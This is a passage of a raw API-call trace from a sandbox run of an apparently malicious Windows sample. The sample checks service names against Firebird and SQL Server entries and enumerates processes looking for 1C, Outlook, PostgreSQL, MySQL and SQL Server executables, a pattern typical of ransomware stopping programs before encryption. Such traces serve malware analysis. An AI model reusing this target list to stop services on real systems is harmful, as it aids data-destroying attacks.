[0060.151] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0060.151] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0060.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0060.151] lstrlenW (lpString="CscService") returned 10 [0060.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0060.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0060.151] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0060.151] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0060.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0060.151] lstrlenW (lpString="DcomLaunch") returned 10 [0060.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0060.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0060.151] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0060.151] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0060.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0060.151] lstrlenW (lpString="Dhcp") returned 4 [0060.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0060.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0060.151] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0060.151] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0060.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0060.151] lstrlenW (lpString="Dnscache") returned 8 [0060.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0060.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0060.151] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0060.151] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0060.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0060.151] lstrlenW (lpString="DPS") returned 3 [0060.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0060.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0060.152] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0060.152] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0060.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0060.152] lstrlenW (lpString="eventlog") returned 8 [0060.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0060.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0060.152] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0060.152] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0060.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0060.152] lstrlenW (lpString="EventSystem") returned 11 [0060.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0060.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0060.152] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0060.152] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0060.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0060.152] lstrlenW (lpString="gpsvc") returned 5 [0060.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0060.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0060.152] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0060.152] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0060.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0060.152] lstrlenW (lpString="iphlpsvc") returned 8 [0060.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0060.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0060.152] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0060.152] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0060.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0060.152] lstrlenW (lpString="LanmanServer") returned 12 [0060.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0060.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0060.152] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0060.152] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0060.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0060.152] lstrlenW (lpString="LanmanWorkstation") returned 17 [0060.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0060.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0060.153] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0060.153] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0060.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0060.153] lstrlenW (lpString="lmhosts") returned 7 [0060.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0060.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0060.153] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0060.153] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0060.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0060.153] lstrlenW (lpString="MMCSS") returned 5 [0060.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0060.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0060.153] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0060.153] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0060.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0060.153] lstrlenW (lpString="MpsSvc") returned 6 [0060.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0060.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0060.153] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0060.153] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0060.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0060.153] lstrlenW (lpString="Netman") returned 6 [0060.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0060.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0060.153] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0060.153] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0060.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0060.153] lstrlenW (lpString="netprofm") returned 8 [0060.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0060.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0060.153] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0060.153] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0060.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0060.153] lstrlenW (lpString="NlaSvc") returned 6 [0060.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0060.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0060.154] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0060.154] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0060.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0060.154] lstrlenW (lpString="nsi") returned 3 [0060.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0060.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0060.154] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0060.154] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0060.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0060.154] lstrlenW (lpString="PcaSvc") returned 6 [0060.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0060.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0060.154] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0060.154] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0060.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0060.154] lstrlenW (lpString="PlugPlay") returned 8 [0060.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0060.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0060.154] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0060.154] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0060.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0060.154] lstrlenW (lpString="Power") returned 5 [0060.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0060.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0060.154] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0060.154] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0060.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0060.154] lstrlenW (lpString="ProfSvc") returned 7 [0060.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0060.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0060.155] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0060.155] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0060.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0060.155] lstrlenW (lpString="RpcEptMapper") returned 12 [0060.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0060.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0060.155] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0060.155] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0060.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0060.155] lstrlenW (lpString="RpcSs") returned 5 [0060.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0060.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0060.155] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0060.155] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0060.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0060.155] lstrlenW (lpString="SamSs") returned 5 [0060.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0060.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0060.155] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0060.155] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0060.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0060.155] lstrlenW (lpString="Schedule") returned 8 [0060.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0060.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0060.156] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0060.156] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0060.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0060.156] lstrlenW (lpString="SENS") returned 4 [0060.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0060.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0060.156] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0060.156] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0060.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0060.156] lstrlenW (lpString="ShellHWDetection") returned 16 [0060.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0060.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0060.156] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0060.156] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0060.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0060.156] lstrlenW (lpString="Spooler") returned 7 [0060.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0060.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0060.156] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0060.156] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0060.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0060.156] lstrlenW (lpString="swprv") returned 5 [0060.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0060.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0060.156] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0060.156] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0060.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0060.156] lstrlenW (lpString="SysMain") returned 7 [0060.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0060.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0060.156] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0060.156] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0060.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0060.157] lstrlenW (lpString="Themes") returned 6 [0060.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0060.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0060.157] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0060.157] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0060.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0060.157] lstrlenW (lpString="TrkWks") returned 6 [0060.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0060.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0060.157] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0060.157] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0060.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0060.157] lstrlenW (lpString="UxSms") returned 5 [0060.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0060.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0060.157] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0060.157] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0060.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0060.157] lstrlenW (lpString="VSS") returned 3 [0060.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0060.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0060.157] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0060.157] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0060.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0060.157] lstrlenW (lpString="WdiServiceHost") returned 14 [0060.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0060.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0060.157] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0060.157] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0060.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0060.157] lstrlenW (lpString="WdiSystemHost") returned 13 [0060.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0060.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0060.157] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0060.157] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0060.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0060.158] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0060.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0060.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0060.158] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0060.158] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0060.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0060.158] lstrlenW (lpString="Winmgmt") returned 7 [0060.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0060.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0060.158] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0060.158] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0060.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0060.158] lstrlenW (lpString="WPDBusEnum") returned 10 [0060.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0060.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0060.158] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0060.158] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0060.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0060.158] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x4023080 | out: hHeap=0x6c0000) returned 1 [0060.158] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x200 [0060.161] Process32FirstW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0060.162] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0060.162] lstrlenW (lpString="System") returned 6 [0060.162] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0060.162] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0060.162] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0060.162] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0060.162] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0060.162] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0060.162] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0060.162] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0060.163] lstrlenW (lpString="smss.exe") returned 8 [0060.163] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0060.163] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0060.163] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0060.163] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0060.163] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0060.163] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0060.163] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0060.163] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0060.163] lstrlenW (lpString="csrss.exe") returned 9 [0060.163] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0060.163] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0060.163] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0060.163] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0060.163] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0060.163] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0060.164] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0060.164] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0060.164] lstrlenW (lpString="wininit.exe") returned 11 [0060.164] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0060.164] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0060.164] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0060.164] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0060.165] lstrlenW (lpString="csrss.exe") returned 9 [0060.165] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0060.165] lstrlenW (lpString="winlogon.exe") returned 12 [0060.165] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0060.166] lstrlenW (lpString="services.exe") returned 12 [0060.166] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0060.166] lstrlenW (lpString="lsass.exe") returned 9 [0060.166] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0060.167] lstrlenW (lpString="lsm.exe") returned 7 [0060.167] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.167] lstrlenW (lpString="svchost.exe") returned 11 [0060.167] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.168] lstrlenW (lpString="svchost.exe") returned 11 [0060.168] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.168] lstrlenW (lpString="svchost.exe") returned 11 [0060.168] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.169] lstrlenW (lpString="svchost.exe") returned 11 [0060.169] Process32NextW (in: hSnapshot=0x200, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.169] lstrlenW (lpString="svchost.exe") returned 11 [0060.169] Process32NextW (in: hSnapshot=0x200, 